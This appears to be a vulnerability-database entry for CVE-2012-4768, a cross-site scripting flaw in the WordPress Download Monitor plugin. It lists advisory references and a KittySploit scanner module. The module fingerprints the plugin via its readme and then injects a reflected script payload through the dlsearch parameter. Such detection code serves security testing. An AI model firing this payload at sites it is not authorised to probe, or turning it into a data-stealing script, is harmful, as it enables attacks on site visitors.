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WordPress Plugin Download Monitor < 3.3.5.9 - Cross-Site Scripting Detection

🗓️ 28 Jul 2026 11:27:38Reported by KittySploitType 
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Remote XSS in the Download Monitor plugin for WordPress via the dlsearch parameter.

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ReporterTitlePublishedViews
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circl
Circl
CVE-2012-4768
30 Aug 201200:00
–circl
cve
CVE
CVE-2012-4768
4 Sep 201414:00
–cve
cvelist
Cvelist
CVE-2012-4768
4 Sep 201414:00
–cvelist
exploitdb
Exploit DB
WordPress Plugin Download Monitor - 'dlsearch' Cross-Site Scripting
30 Aug 201200:00
–exploitdb
euvd
EUVD
EUVD-2012-4693
7 Oct 202500:30
–euvd
nuclei
Nuclei
WordPress Plugin Download Monitor < 3.3.5.9 - Cross-Site Scripting
20 Oct 202602:05
–nuclei
nvd
NVD
CVE-2012-4768
4 Sep 201414:55
–nvd
packetstorm
Packet Storm
Wordpress Download Monitor 3.3.5.7 Cross Site Scripting
11 Sep 201200:00
–packetstorm
patchstack
Patchstack
WordPress Download Monitor Plugin - Cross Site Scripting
30 Aug 201200:00
–patchstack
prion
Prion
Cross site scripting
4 Sep 201414:55
–prion
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#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""A cross-site scripting vulnerability in the Download Monitor plugin before 3."""

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Scanner, Http_client):
    __info__ = {
        'name': 'WordPress Plugin Download Monitor < 3.3.5.9 - Cross-Site Scripting Detection',
        'description': 'A cross-site scripting vulnerability in the Download Monitor plugin before 3.3.5.9 for WordPress allows remote attackers to inject arbitrary web script or HTML via the dlsearch parameter to the default URI.',
        'author': ['KittySploit Team'],
        'severity': 'medium',
        'tags': ['web', 'scanner', 'cve', 'cve2012', 'xss', 'wp-plugin', 'packetstorm', 'wordpress', 'mikejolley', 'vuln'],
        'agent': {
            'risk': 'active',
            'effects': ['network_probe'],
            'expected_requests': 2,
            'reversible': True,
            'approval_required': False,
            'produces': ['tech_hints', 'risk_signals', 'endpoints'],
            'cost': 1.0,
            'noise': 0.4,
            'value': 1.0,
            'requires': {
                'min_endpoints': 0,
                'min_params': 0,
                'tech_hints_any': [],
                'tech_hints_all': [],
                'specializations_any': [],
                'risk_signals_any': [],
                'auth_session': False,
                'capabilities_any': [],
                'capabilities_all': [],
                'confidence_min': {},
                'confidence_min_any': {},
                'endpoint_pattern_any': [],
                'param_any': [],
                'api_surface_ready': False,
            },
            'chain': {
                'produces_capabilities': [
                    {
                        'capability': 'risk_signal',
                        'from_detail': '',
                    },
                ],
                'consumes_capabilities': [],
                'option_bindings': {},
                'suggested_followups': [],
            },
        },
        'references': [
            'https://nvd.nist.gov/vuln/detail/CVE-2012-4768',
            'http://packetstormsecurity.org/files/116408/wpdownloadmonitor3357-xss.txt',
            'http://www.reactionpenetrationtesting.co.uk/wordpress-download-monitor-xss.html',
            'https://exchange.xforce.ibmcloud.com/vulnerabilities/78422',
            'https://github.com/ARPSyndicate/kenzer-templates',
        ],
        'cve': 'CVE-2012-4768',
    }

    def run(self):
        path = '/wp-content/plugins/download-monitor/readme.txt'
        r = self.http_request(method='GET', path=path, allow_redirects=False)
        if not r or r.status_code != 200:
            return False
        body = r.text or ""
        body_any = ('Download Monitor =',)
        if not (any(m in body for m in body_any)):
            return False
        path = '/?dlsearch=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'
        r = self.http_request(method='GET', path=path, allow_redirects=False)
        if not r or r.status_code != 200:
            return False
        body = r.text or ""
        headers = "\n".join(f"{k}: {v}" for k, v in r.headers.items())
        body_any = ('</script><script>alert(document.domain)</script>',)
        header_any = ('text/html',)
        if (any(m in body for m in body_any)) and (any(m in headers for m in header_any)):
            self.set_info(severity='medium', reason='WordPress Plugin Download Monitor < 3.3.5.9 - Cross-Site Scripting detected', path=path)
            return True
        return False

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28 Jul 2026 11:27Current
5.8Medium risk
Vulners AI Score5.8
CVSS 24.3
EPSS0.10456
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